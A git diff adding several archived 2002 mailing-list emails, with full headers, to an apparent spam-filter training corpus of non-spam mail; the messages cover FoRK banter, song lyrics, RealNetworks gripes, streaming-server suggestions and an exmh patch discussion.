23 Jul 2002 06:15:19 -0700 (PDT) +Received: from 159-98.nyc.dsl.access.net (159-98.nyc.dsl.access.net + [166.84.159.98]) by mail1.panix.com (Postfix) with ESMTP id 8BB7A487E6 for + ; Tue, 23 Jul 2002 09:24:29 -0400 (EDT) +From: Lucas Gonze +X-X-Sender: lgonze@localhost.localdomain +Cc: FoRK +Subject: Re: spam maps +In-Reply-To: <3D3C76D6.2090200@barrera.org> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 09:18:54 -0400 (EDT) + +> - Joe +> +> P.S. I hate everybody. + +one up: I hate everything post-(the first ten seconds of the universe), +but especially everybody and everything, and including but not limited to +puppies and ice cream. + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00697.9de5ecfe0d0b4dabbcae403f51223644 b/bayes/spamham/easy_ham_2/00697.9de5ecfe0d0b4dabbcae403f51223644 new file mode 100644 index 0000000..f6f47bd --- /dev/null +++ b/bayes/spamham/easy_ham_2/00697.9de5ecfe0d0b4dabbcae403f51223644 @@ -0,0 +1,68 @@ +From fork-admin@xent.com Tue Jul 23 17:05:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 001C8440CC + for ; Tue, 23 Jul 2002 12:05:48 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 17:05:48 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NG0l408293 for ; + Tue, 23 Jul 2002 17:00:47 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9F3FB2940F3; Tue, 23 Jul 2002 08:50:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (cpe-65-172-233-109.sanbrunocable.com + [65.172.233.109]) by xent.com (Postfix) with ESMTP id 245592940EF for + ; Tue, 23 Jul 2002 08:49:51 -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Tue, 23 Jul 2002 15:58:55 -08:00 +Message-Id: <3D3D7D3F.7090808@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Lucas Gonze +Cc: FoRK +Subject: Re: spam maps +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 08:58:55 -0700 + +Lucas Gonze wrote: +>>- Joe +>> +>>P.S. I hate everybody. +> +> one up: I hate everything post-(the first ten seconds of the universe), +> but especially everybody and everything, and including but not limited to +> puppies and ice cream. + + +And you. I especially hate you. + +- Joe +-- +There is no place in which to hide +Even truth is filled with lies +Doubting angels fall to walk among the living + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00698.e702f66ebf743b81ba479bf54795bcca b/bayes/spamham/easy_ham_2/00698.e702f66ebf743b81ba479bf54795bcca new file mode 100644 index 0000000..c5f65e7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00698.e702f66ebf743b81ba479bf54795bcca @@ -0,0 +1,63 @@ +From fork-admin@xent.com Tue Jul 23 17:39:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B5237440CD + for ; Tue, 23 Jul 2002 12:39:40 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 17:39:40 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6NGf5412340 for ; + Tue, 23 Jul 2002 17:41:05 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 51BEF294104; Tue, 23 Jul 2002 09:30:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 25A312940FC; Tue, 23 Jul 2002 09:29:56 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id D95593ED5E; + Tue, 23 Jul 2002 12:39:03 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id D7C9C3ED51; Tue, 23 Jul 2002 12:39:03 -0400 (EDT) +From: Tom +To: Adam Rifkin +Cc: FoRK@xent.com +Subject: Re: [NYT] Real Source +In-Reply-To: <20020723060010.282862940AD@xent.com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 12:39:03 -0400 (EDT) + +On Mon, 22 Jul 2002, Adam Rifkin wrote: + +--]By JOHN MARKOFF + Ahhh the ahole reporter we all love to sneer at:)- + +--]SAN FRANCISCO, July 21 -- In a significant challenge to Microsoft, +--]RealNetworks plans to announce a new version of its software on Monday +--]that can distribute audio and video in a range of formats, including +--]Microsoft's own proprietary Windows Media. + +Real is more currupt that MS in so many real ways its astounding Real and +MS CEOS dont felate each other at tech and mass media conferences. + +Real needs to die and die horribly. Thier biz practices alone give them an +instant berth in the 5th circle of hell. ALl the crap they foist on +systems during installation gets em free passes to all the other circles. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00699.92050ab0ff44527ebf0358341ba86684 b/bayes/spamham/easy_ham_2/00699.92050ab0ff44527ebf0358341ba86684 new file mode 100644 index 0000000..d0bba42 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00699.92050ab0ff44527ebf0358341ba86684 @@ -0,0 +1,78 @@ +From fork-admin@xent.com Wed Jul 24 02:08:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CA1D4440CC + for ; Tue, 23 Jul 2002 21:08:38 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 02:08:38 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O16k408459 for ; + Wed, 24 Jul 2002 02:06:46 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 10AFB294103; Tue, 23 Jul 2002 17:56:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sunserver.permafrost.net (u172n16.hfx.eastlink.ca + [24.222.172.16]) by xent.com (Postfix) with ESMTP id D7635294102 for + ; Tue, 23 Jul 2002 17:55:57 -0700 (PDT) +Received: from [192.168.123.198] (helo=permafrost.net) by + sunserver.permafrost.net with esmtp (Exim 3.35 #1 (Debian)) id + 17XAXl-0007Hq-00 for ; Tue, 23 Jul 2002 22:02:22 -0300 +Message-Id: <3D3DFB7A.2050707@permafrost.net> +From: Owen Byrne +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc3) + Gecko/20020523 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: FoRK@xent.com +Subject: Re: [NYT] Real Source +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 21:57:30 -0300 + +Tom wrote: + +>On Mon, 22 Jul 2002, Adam Rifkin wrote: +> +>--]By JOHN MARKOFF +> Ahhh the ahole reporter we all love to sneer at:)- +> +>--]SAN FRANCISCO, July 21 -- In a significant challenge to Microsoft, +>--]RealNetworks plans to announce a new version of its software on Monday +>--]that can distribute audio and video in a range of formats, including +>--]Microsoft's own proprietary Windows Media. +> +>Real is more currupt that MS in so many real ways its astounding Real and +>MS CEOS dont felate each other at tech and mass media conferences. +> +>Real needs to die and die horribly. Thier biz practices alone give them an +>instant berth in the 5th circle of hell. ALl the crap they foist on +>systems during installation gets em free passes to all the other circles. +> +>http://xent.com/mailman/listinfo/fork +> +> +Well, just to take this thread off topic - does anyone know what's +involved in serving streaming video? I assume that + the only practical alternatives are MS and Real, and that it's likely +to cost some $$$ for the software. +Owen + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00700.d42457f1ab4340c5517eaa695cb675fa b/bayes/spamham/easy_ham_2/00700.d42457f1ab4340c5517eaa695cb675fa new file mode 100644 index 0000000..10207c2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00700.d42457f1ab4340c5517eaa695cb675fa @@ -0,0 +1,86 @@ +From fork-admin@xent.com Wed Jul 24 02:17:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 435E0440CC + for ; Tue, 23 Jul 2002 21:17:10 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 02:17:10 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O1Em408840 for ; + Wed, 24 Jul 2002 02:14:48 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5B5E4294109; Tue, 23 Jul 2002 18:04:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from cats.ucsc.edu (cats-mx1.ucsc.edu [128.114.129.36]) by + xent.com (Postfix) with ESMTP id EBC1B2940B3 for ; + Tue, 23 Jul 2002 18:03:39 -0700 (PDT) +Received: from Tycho (dhcp-63-177.cse.ucsc.edu [128.114.63.177]) by + cats.ucsc.edu (8.10.1/8.10.1) with SMTP id g6O1CK823619; Tue, + 23 Jul 2002 18:12:20 -0700 (PDT) +From: "Jim Whitehead" +To: "Owen Byrne" , +Subject: RE: [NYT] Real Source +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +Importance: Normal +In-Reply-To: <3D3DFB7A.2050707@permafrost.net> +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 +X-Ucsc-Cats-Mailscanner: Found to be clean +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 18:10:35 -0700 + + +> Well, just to take this thread off topic - does anyone know what's +> involved in serving streaming video? I assume that +> the only practical alternatives are MS and Real, and that it's likely +> to cost some $$$ for the software. + +A quick Google search turns up: + +http://developer.apple.com/darwin/projects/streaming/index.html +Darwin streaming media server + +http://mpeg4ip.sourceforge.net/index.php +MPEG4IP: Open Source, Open Standards, Open Streaming + +MPEG4IP provides an end-to-end system to explore MPEG-4 multimedia. The +package includes many existing open source packages and the "glue" to +integrate them together. This is a tool for streaming video and audio that +is standards-oriented and free from proprietary protocols and extensions. + +Provided are an MPEG-4 AAC audio encoder, an MP3 encoder, two MPEG-4 video +encoders, an MP4 file creator and hinter, an IETF standards-based streaming +server, and an MPEG-4 player that can both stream and playback from local +file. + +Our development is focused on the Linux platform, and has been ported to +Windows, Solaris, FreeBSD, BSD/OS and Mac OS X, but it should be relatively +straight-forward to use on other platforms. Many of the included packages +are multi-platform already. + + +Both sound interesting, and low $$. + +- Jim + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00701.8b14364405ca52ffd1de36203f35eac2 b/bayes/spamham/easy_ham_2/00701.8b14364405ca52ffd1de36203f35eac2 new file mode 100644 index 0000000..ddbd68d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00701.8b14364405ca52ffd1de36203f35eac2 @@ -0,0 +1,63 @@ +From fork-admin@xent.com Wed Jul 24 02:47:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6AEED440CC + for ; Tue, 23 Jul 2002 21:47:23 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 02:47:23 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O1fj410244 for ; + Wed, 24 Jul 2002 02:41:45 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1BE672940E4; Tue, 23 Jul 2002 18:31:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (cpe-65-172-233-109.sanbrunocable.com + [65.172.233.109]) by xent.com (Postfix) with ESMTP id E4D102940AF for + ; Tue, 23 Jul 2002 18:30:47 -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Wed, 24 Jul 2002 01:39:57 -08:00 +Message-Id: <3D3E056D.5050509@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Jim Whitehead +Cc: FoRK +Subject: Re: SimPastry +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 18:39:57 -0700 + +Jim Whitehead wrote: +> http://www.research.microsoft.com/~antr/Pastry/download.htm + +Looks cute. For what it's worth I worked closely with a few +of the people on the team. One was my officemate for years. + +Unfortunately there's no way I'm loading all the .NET stuff +on my machine. Not yet. And hopefully by the time it's all +stable, I'll be running FreeBSD again on my laptop, and it will +be moot anyway. + +- Joe + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00702.512ab0c1a1654aa43dc93c7e23a9d859 b/bayes/spamham/easy_ham_2/00702.512ab0c1a1654aa43dc93c7e23a9d859 new file mode 100644 index 0000000..70b28a7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00702.512ab0c1a1654aa43dc93c7e23a9d859 @@ -0,0 +1,107 @@ +From fork-admin@xent.com Wed Jul 24 03:23:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DB532440CC + for ; Tue, 23 Jul 2002 22:23:19 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 03:23:19 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O2Nl414578 for ; + Wed, 24 Jul 2002 03:23:48 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C9E84294109; Tue, 23 Jul 2002 19:13:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from krypton.netropolis.org (unknown [209.225.18.137]) by + xent.com (Postfix) with ESMTP id 1C418294103 for ; + Tue, 23 Jul 2002 19:12:07 -0700 (PDT) +Received: from [203.200.2.119] (helo=rincewind.pobox.com) by + krypton.netropolis.org with esmtp (Exim 3.35 #1 (Debian)) id + 17XBjD-0002gr-00; Tue, 23 Jul 2002 22:18:15 -0400 +X-PGP-Dsskey: 0x55FAB8D3 +X-PGP-Rsakey: 0xCAA67415 +Message-Id: <5.1.0.14.2.20020724074914.02c6fec0@bgl.vsnl.net.in> +X-Nil: +To: "Joseph S. Barrera III" , + Lucas Gonze +From: Udhay Shankar N +Subject: Re: spam maps +Cc: FoRK +In-Reply-To: <3D3D7D3F.7090808@barrera.org> +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 07:50:21 +0530 + +At 08:58 AM 7/23/02 -0700, Joseph S. Barrera III wrote: + +>And you. I especially hate you. + +Heh. The name of the band is SO appropriate...:) + +http://www.purelyrics.com/index.php?lyrics=foixjtop + +I, hate the rain and sunny weather +And I, hate the beach and moutains too +(and) I don't like a thing about the city, no, no +And I, I, I, hate the country side too! + +And I, hate everything about you! +...everything about you! + +I don't like a thing about your mother +And I, I hate your daddy's guts too +I, don't like a thing about your sister +'cause I, I, I, think sex is overrated too. + +And I, get sick when I'm around, I, can't stand to be around +I, hate everything about you! + +everything about you, everything about you, everything about +you + +Some say I got a bad attitude +But that don't change the way I feel about you +And if you think this might be bringing me down +Look again cause I ain't wearin' no frown! + +I don't really care about your sister +Fuck the little bitch 'cause I already kissed her + +One thing that I did to your lady +Put her on the bed and she didn't say maybe +I know you know everybody knows +The way it comes, the way it's gonna' go + +You think it's sad +And that's too bad +'cause I'm havin' +A ball hatin' +Every little thing about you! + +Everything about you, everything about +I get sick when I'm around +I can't stand to be around +I hate everything about you + + +-- +((Udhay Shankar N)) ((udhay @ pobox.com)) ((www.digeratus.com)) + God is silent. Now if we can only get Man to shut up. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00703.f305b0d4c58eed983e9540d3105e7fac b/bayes/spamham/easy_ham_2/00703.f305b0d4c58eed983e9540d3105e7fac new file mode 100644 index 0000000..b2e3f9f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00703.f305b0d4c58eed983e9540d3105e7fac @@ -0,0 +1,70 @@ +From fork-admin@xent.com Wed Jul 24 03:32:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 58AAF440CC + for ; Tue, 23 Jul 2002 22:32:37 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 03:32:37 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6O2S7414835 for ; + Wed, 24 Jul 2002 03:28:07 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1A30C294134; Tue, 23 Jul 2002 19:17:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (cpe-65-172-233-109.sanbrunocable.com + [65.172.233.109]) by xent.com (Postfix) with ESMTP id 8C9C8294132 for + ; Tue, 23 Jul 2002 19:16:01 -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Wed, 24 Jul 2002 02:25:06 -08:00 +Message-Id: <3D3E1001.1000408@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Udhay Shankar N +Cc: Lucas Gonze , FoRK +Subject: Re: spam maps +References: + <5.1.0.14.2.20020724074914.02c6fec0@bgl.vsnl.net.in> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 19:25:05 -0700 + +Udhay Shankar N wrote: + > Heh. The name of the band is SO appropriate...:) + +LOL, literally, actually. :-) + + > And I, get sick when I'm around, I, can't stand to be around I, hate + > everything about you! + +One of my favorite pieces of graffti that I have spotted was at UCI, +and it read: + + I am sick when I think of Jesus + +It has so many meanings, and so many of them are disturbing, especially +to a former good little Catholic boy like me. + +- Joe + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00704.3dfe79a0f9c53d51328d0b6af88d1e02 b/bayes/spamham/easy_ham_2/00704.3dfe79a0f9c53d51328d0b6af88d1e02 new file mode 100644 index 0000000..eeea721 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00704.3dfe79a0f9c53d51328d0b6af88d1e02 @@ -0,0 +1,146 @@ +From exmh-users-admin@redhat.com Tue Jul 23 19:19:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8ED21440CD + for ; Tue, 23 Jul 2002 14:19:21 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 19:19:21 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6NIGv417305 for + ; Tue, 23 Jul 2002 19:16:57 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id D893E3FD9F; Tue, 23 Jul 2002 + 14:16:04 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id DFC1F3F0F7 + for ; Tue, 23 Jul 2002 14:14:34 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6NIEZ714044 for exmh-users@listman.redhat.com; Tue, 23 Jul 2002 + 14:14:35 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6NIEZR14040 for + ; Tue, 23 Jul 2002 14:14:35 -0400 +Received: from blackcomb.panasas.com (gw2.panasas.com [65.194.124.178]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6NI2ws21206 for + ; Tue, 23 Jul 2002 14:02:58 -0400 +Received: from medlicott.panasas.com (IDENT:welch@medlicott.panasas.com + [172.17.132.188]) by blackcomb.panasas.com (8.9.3/8.9.3) with ESMTP id + OAA20851 for ; Tue, 23 Jul 2002 14:14:28 -0400 +Message-Id: <200207231814.OAA20851@blackcomb.panasas.com> +X-Mailer: exmh version 2.5.9 (CVS) 06/19/2002 with nmh-1.0.4 +To: exmh-users@spamassassin.taint.org +Subject: Re: (no subject) +In-Reply-To: <20020715203416.8D2A8BC6@kosmo.ixc-comm.com> +References: <20020715203416.8D2A8BC6@kosmo.ixc-comm.com> +Comments: In-reply-to Mark Scarborough + message dated "Mon, 15 Jul 2002 15:34:16 -0500." +From: Brent Welch +X-Url: http://www.panasas.com/ +X-Face: "HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> + r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\W:AK\j?@?c1o +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Tue, 23 Jul 2002 11:14:28 -0700 + +I've picked up these patches and will submit to CVS eventually. +If there are bugs worth fixing, please let me know about the fixes +for them. + +>>>Mark Scarborough said: + > + > tg@sema.se said: + > > mscar said: + > > > My biggest problem with it is that it will _always_ render +the HTML + > > > in messages that are only HTML (possible speed and/or "I +didn't + > > > want to see that porno email" problems). Also, it does away +with + > > > the option to view an HTML part in Netscape. There might be +times + > > > when I want to use a more fully-featured viewer if I +determine that + > > > it's worth the risk. + > + > + > > Try these two patches (for exmh-2.5 07/13/2001) I just tossed + > > together. + > + > > The config option $uri(deferDisplaysInline) probably doesn't +makes any + > > sense, it should probably always be off. But you never know what + > > people like... + > + > > Anyway, when you get a text/html part and you have defer +selected, you + > > can display it inline by checking the box in the right-button +menu. + > + > > /Tomas G. + > + > + > Tomas, + > + > This is GREAT! Thank you! This is exactly what I was thinking +about as + > the "best" solution whether I expressed it well or not. + > + > There are a couple of "coloring" or "highlighting" bugs that I +haven't had + > time to fully characterize yet, but I don't care. We can work out +the bugs + > - at least we have the functionality. + > + > Everyone: if you have ever wanted to be able to choose between the +internal + > HTML engine and whatever external browser you have defined - on a +per + > message basis - give Tomas' patches a try. + > + > Thanks again Tomas. + > + > Mark + > + > + > + > + > _______________________________________________ + > Exmh-users mailing list + > Exmh-users@redhat.com + > https://listman.redhat.com/mailman/listinfo/exmh-users + +-- +Brent Welch +Software Architect, Panasas Inc +Pioneering the World's Most Scalable and Agile Storage Network +www.panasas.com +welch@panasas.com + + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00705.7ff90bba3250a39362816997bbd728ef b/bayes/spamham/easy_ham_2/00705.7ff90bba3250a39362816997bbd728ef new file mode 100644 index 0000000..1c21280 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00705.7ff90bba3250a39362816997bbd728ef @@ -0,0 +1,111 @@ +From exmh-users-admin@redhat.com Tue Jul 23 19:19:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9F445440D0 + for ; Tue, 23 Jul 2002 14:19:22 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 19:19:22 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6NIHq417344 for + ; Tue, 23 Jul 2002 19:17:52 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 21D863FD9F; Tue, 23 Jul 2002 + 14:17:04 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 9AA5C3F0F7 + for ; Tue, 23 Jul 2002 14:16:30 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6NIGVf14498 for exmh-users@listman.redhat.com; Tue, 23 Jul 2002 + 14:16:31 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6NIGUR14494 for + ; Tue, 23 Jul 2002 14:16:30 -0400 +Received: from blackcomb.panasas.com (gw2.panasas.com [65.194.124.178]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6NI4ss21717 for + ; Tue, 23 Jul 2002 14:04:54 -0400 +Received: from medlicott.panasas.com (IDENT:welch@medlicott.panasas.com + [172.17.132.188]) by blackcomb.panasas.com (8.9.3/8.9.3) with ESMTP id + OAA21116 for ; Tue, 23 Jul 2002 14:16:24 -0400 +Message-Id: <200207231816.OAA21116@blackcomb.panasas.com> +X-Mailer: exmh version 